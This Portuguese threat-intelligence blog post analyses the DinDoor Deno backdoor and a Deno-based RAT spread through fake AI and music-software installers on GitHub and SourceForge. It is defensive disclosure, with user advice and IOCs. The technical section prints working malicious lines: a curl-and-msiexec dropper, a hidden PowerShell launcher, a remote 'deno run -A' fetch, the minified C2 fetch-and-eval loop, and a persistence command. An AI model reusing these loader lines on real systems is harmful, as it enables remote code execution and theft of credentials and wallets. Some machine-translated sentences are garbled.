Durante as nossas atividades de deteção de ameaças, descobrimos instaladores e plugins falsos que se faziam passar por software popular, incluindo o ChatGPT, o Claude, o AutoTune e o Kontakt, no GitHub e no SourceForge, e que distribuíam um backdoor Deno conhecido como DinDoor. Os atacantes estão a utilizar YouTube comprometidos para distribuir links para estas plataformas.
O DinDoor acaba por instalar vários tipos de malware, incluindo um trojan de acesso remoto (RAT) furtivo, que também utiliza o ambiente de execução JavaScript Deno.
Os atacantes estão cada vez mais a recorrer a ambientes de execução alternativos de JavaScript, como o Bun e o Deno, para contornar os métodos tradicionais de deteção. Numa das nossas investigações recentes, documentámos como os atacantes estão a utilizar o Bun como vetor de infeção inicial para distribuir o NWHStealer. E, em março, ThreatDown também observaram atacantes a utilizar o Deno para distribuir o CastleLoader através de uma cadeia de infeção em várias fases que envolvia o isco ClickFix.
Estas campanhas utilizam o Scoop (um gestor de instalação alternativo para Windows) e o WinGet (o gestor Windows oficial Windows ) para instalar o Deno no computador da vítima. Em seguida, utilizam o ambiente de execução do Deno para executar um RAT capaz de executar cargas úteis adicionais, extraindo dados de navegadores, carteiras digitais e outras aplicações, o qual possui uma funcionalidade interessante de ponto a ponto que utiliza Edge ocultar o tráfego malicioso.
Plataformas legítimas utilizadas indevidamente para propagar malware
Na maioria dos casos analisados, a cadeia de infecção é normalmente iniciada através deficheiros MSIouscripts do PowerShelldescarregados do GitHub ou do SourceForge. Os utilizadores são geralmente redirecionados para estes repositórios maliciosos através deYouTube comprometidos. Estes vídeos somam atualmente mais de 50 000 visualizações.


YouTube comprometidos publicam conteúdos que promovem diversos programas e alternam constantemente entre contas do GitHub para distribuir o malware.

O software falso parece ter sido concebido para visar criadores, entusiastas da IA, jogadores e utilizadores com conhecimentos técnicos, que são mais propensos a descarregar ferramentas não oficiais, software pirateado ou instaladores distribuídos pela comunidade a partir de sites como o GitHub e o SourceForge. Observámos MSIs e scripts falsos que se fazem passar por instaladores e plugins de software e marcas legítimas, tais como ChatGPT, Claude, ZENOLOGY, Ableton Live, AutoTune e Kontakt.

Os repositórios maliciosos contêm um comando tanto para Windows para o macOS. Estes repositórios pedem aos utilizadores que abram o terminal e copiem um comando malicioso, que descarrega e executa o ficheiro MSI a partir do GitHub.

Contas maliciosas no GitHub criam vários repositórios repletos de software falso e plugins relacionados com software popular, com o objetivo de atrair mais utilizadores.

Descobrimos que essa mesma porta traseira foi distribuída através do SourceForge, fazendo-se passar por um software de jogos legítimo chamado GearUP e por um software de remoção de marcas de água baseado em IA chamado BWR.


Como se manter seguro
Os atacantes aproveitaram-se em grande medida da confiança dos utilizadores. O GitHub e o SourceForge são plataformas legítimas, o que torna os projetos falsos mais convincentes. Entrámos em contacto com o GitHub, que removeu rapidamente os repositórios maliciosos, mas os utilizadores devem estar cientes de que continuarão a surgir novos.
Eis algumas formas simples de se manter em segurança:
- Descarregue software apenas a partir dos sites oficiais dos fornecedores.
- Desconfie de versões «gratuitas», pirateadas ou não oficiais de software pago.
- Tenha cuidado com os downloads do GitHub, SourceForge, fóruns ou sites de partilha de ficheiros, especialmente se forem provenientes de contas novas ou desconhecidas.
- Os atacantes continuam a criar novos perfis para distribuir este malware em várias plataformas. Verifique o perfil do programador ou editor, a sua reputação e há quanto tempo foi criado antes de descarregar qualquer coisa.
- Verifique se o conteúdo do arquivo, as imagens e os ficheiros de texto correspondem ao que esperava descarregar. Os nomes e as estruturas dos arquivos seguem frequentemente padrões maliciosos facilmente reconhecíveis.
- Verifique o editor do ficheiro e a assinatura digital antes de o executar. Windows, normalmente pode verificar isso clicando com o botão direito do rato no ficheiro e selecionando Propriedades > Assinaturas digitais. Tenha em conta que uma assinatura válida não garante que um ficheiro seja seguro, mas a ausência de assinaturas ou a presença de assinaturas suspeitas são frequentemente um sinal de alerta.
Análise técnica
Os repositórios maliciosos do GitHub pedem ao utilizador para abrir o cmd e executar um comando malicioso. Os comandos maliciosos descarregam um ficheiro MSI do GitHub e instalam-no através de msiexec. Estes repositórios contêm, por vezes, também scripts do PowerShell para iniciar, de forma semelhante, a cadeia de infeção.
Exemplo de um comando malicioso alojado no GitHub que dá início à cadeia de infeção:
curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi
O MSI coloca um ficheiro CMD e um script do PowerShell num diretório aleatório especificado no MSI InstallationFolder e valores do registo. Detetámos diferentes estruturas para estes MSI, com JavaScript em vez do ficheiro CMD, ou com ficheiros incorporados adicionais.

O ficheiro CMD executa o script do PowerShell, cujo nome varia nas cadeias de infeção analisadas:
@set "SCRIPTDIR=%~dp0" @powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""' + $env:SCRIPTDIR + '{Random name}.ps1""') -WindowStyle Hidden"

O script do PowerShell encarrega-se de:
- Certifique-se de que o gestor de pacotes Scoop está instalado e, caso não esteja, instale-o utilizando o script oficial disponível em
get.scoop.sh. O Scoop é um popular instalador de software e gestor de pacotes de código aberto para a linha de comandos do Microsoft Windows. - Utilizar o Scoop para instalar o WinGet (GestorWindows ), caso este não esteja instalado.
- Instala o Deno (um ambiente de execução de JavaScript/TypeScript) através do WinGet ou do Scoop, caso ainda não esteja instalado.
A utilização dos gestores de pacotes Scoop e WinGet para instalar software adicional na máquina comprometida é uma abordagem interessante que confere maior flexibilidade ao atacante.
Comando executado para instalar o Deno utilizando o WinGet:
"C:\Users\admin\scoop\apps\winget\current\winget.exe" install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent
A porta traseira DinDoor
Em seguida, executa-se a etapa seguinte com o executável Deno descarregado:
"C:\Users\admin\AppData\Local\Microsoft\WinGet\Packages\DenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwe\deno.exe" run -A http://{C2}/{random_path}.js
O código devolvido (cujo nome interno é «launcher-1») é uma pequena função em ciclo de avaliação que descarrega a fase seguinte (cujo nome interno é «launcher-2»). O backdoor descarregado é conhecido publicamente comoDinDoor.
var a="{C2}".split(","),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+"/{BUILD_ID}.js");if(!t.ok)throw 0;e=await t.text()}catch{i++,await new Promise(t=>setTimeout(t,5e3));continue}try{await(0,eval)("(async()=>{"+e+"})()")}catch{}await new Promise(t=>setTimeout(t,3e4))}
O backdoor garante a persistência, envia informações sobre o sistema comprometido para o servidor de comando e controlo (C2) e executa cargas úteis adicionais e comandos recebidos do C2. Os pontos de extremidade HTTP utilizados para as comunicações C2 variam entre os casos analisados.
A porta traseira obtém um ID de um ponto de extremidade HTTP (por exemplo, /security-pool) e, em seguida, utiliza esse ID para obter a fase seguinte a partir de /v2{ID}.js.
A etapa obtida é executada através de stdin sem ser gravado no disco, utilizando o comando:
deno run -A --no-check –
Para garantir a persistência, o backdoor executa um comando PowerShell para criar uma chave RUN que executa o programa de download «launcher-1», utilizado anteriormente:
conhost.exe --headless "<deno.exe>" -A "%APPDATA%\<hash>.js
Nos casos analisados, este backdoor distribui várias famílias de malware. Neste blogue, analisamos uma das cargas úteis distribuídas: um RAT que utiliza o ambiente de execução JavaScript Deno.
Deno RAT
O RAT distribuído, tal como os outros scripts analisados, utiliza o ambiente JavaScript Deno e dispõe de todas as funcionalidades necessárias para controlar o dispositivo, executar comandos e cargas úteis, bem como extrair vários tipos de dados através do seu módulo de roubo de dados integrado.
Não encontrámos um nome específico nem qualquer atribuição para este RAT. No passado, o RAT foi referido como «Smokest», com base num valor específico na configuração. O estilo de comentários semelhante e a infraestrutura partilhada sugerem que o programador do DinDoor e o programador do RAT possam ser a mesma pessoa ou equipa.
Compraste algo que não devias?
Para além do HTTP para a comunicação C2, o RAT também suporta WebSocket comunicação, ativada quando o valor JSON isLiveEnabled o valor devolvido pela função C2 está definido como verdadeiro.

O RAT suporta vários comandos (exec, exec-ps, exec-sc, sysinfo, screenshot, stealer) e funcionalidade:
- Recolher informações do sistema sobre o dispositivo comprometido
- Controlo bidirecional total através de uma implementação personalizada do VNC via WebSocket
- Abrange mais de 50 extensões de carteiras de criptomoedas e 10 pastas de software de criptomoedas, tais como Atomic Wallet, Exodus, Electrum e ByteCoin
- Recolher dados de navegadores como Chrome, Chromium, Brave, Edge, Avast Browser, Edge, Opera, Vivaldi, CentBrowser, Kometa, Orbitum, 360Browser e Chromodo
- Extrair dados do Telegram, Discord e Lightcord
- Registar e alterar os dados da área de transferência
- Listar pastas e ficheiros e extrair o conteúdo de ficheiros com extensões específicas
- Capturar imagens do ecrã utilizando diferentes métodos
- Executar cargas úteis adicionais
- Iniciar ou encerrar processos arbitrários
- Executar comandos com o PowerShell
- Estabelecer túneis de proxy SOCKS5 através do WebSocket
Uma das características mais interessantes do RAT é um modo de transmissão ponto a ponto que utiliza o Edge para ocultar o tráfego e dificultar a deteção.
Para transmitir vídeo em direto diretamente para o operador sem o encaminhar através do servidor C2, o RAT inicia um Edge oculto Edge Microsoft Edge e liga-se a ele através do Protocolo Chrome (CDP). Em seguida, injeta uma pequena página HTML WebRTC no Edge, transformando o navegador legítimo num retransmissor de vídeo ponto a ponto. O agente Deno captura e codifica a ecrã da vítima em H.264, passa os fotogramas para a Edge através do CDP, e Edge diretamente para o navegador do operador através de um WebRTC DataChannel encriptado. A sinalização SDP e ICE, necessária para estabelecer a ligação direta, é trocada através do WebSocket C2 existente.

O RAT utiliza os seguintes pontos de extremidade para a comunicação C2, que podem variar entre as amostras:
/health: verifica a resposta «ok» do C2/token: receber parâmetros de configuração, execução de tarefas, resultados e dados extraídos/vnc/agent/: Caminho WebSocket utilizado para a comunicação VNC
Os dados de configuração estão codificados em Base64 e são enviados nas comunicações com o C2 como um token de autorização. Dados de configuração descodificados:
{
"buildId": "cd361ef3159f5ce9",
"buildNote": "BWR",
"buildType": "msi-v2",
"proxyUrls": ["{C2}"],
"userId": "…",
"accessTokenHash": "…",
"iat": 1779372546,
"exp": 2094948546
}
Encontrámos diferentes versões deste RAT, incluindo uma versão «light» denominada «agent-lite», que suporta apenas alguns comandos e utiliza o Cloudflare Workers para a comunicação C2.

Agradecimentos
- DinDoor:https://hunt.io/blog/dindoor-deno-runtime-backdoor-msi-analysis
- Smokest:https://x.com/vxunderground/status/2013006601133687004
Indicadores de compromisso (IOCs)
URLs
https[:]//github.com/claude-free-plugin/https[:]//github.com/ai-gen-profihttps[:]//github.com/wharfdemolisherpithttps[:]//sourceforge.net/projects/gearup/https[:]//sourceforge.net/projects/bluewaveremover/
Domínios
claudescript[.]top: site de distribuiçãoms-telemetry-gateway-us[.]com: C2dakatawebstick[.]com: C2ashpaltlonpro[.]com: C2cf-proxy[.]cloud-analytics-services[.]workers.dev: C2agilemast3r[.]duckdns[.]org: C2geralnewlong[.]com: C2hngfbgfbfb[.]cyou: C2logicalnewrestore[.]com: C2
IPs
23[.]227[.]196[.]107: C245[.]137[.]99[.]121: C231[.]57[.]129[.]23: C266[.]78[.]40[.]107: C2193[.]233[.]198[.]132: C2
Não nos limitamos a comunicar as ameaças - eliminamo-las
Os riscos de cibersegurança nunca se devem propagar para além de uma manchete. Mantenha as ameaças longe dos seus dispositivos descarregando Malwarebytes hoje mesmo.




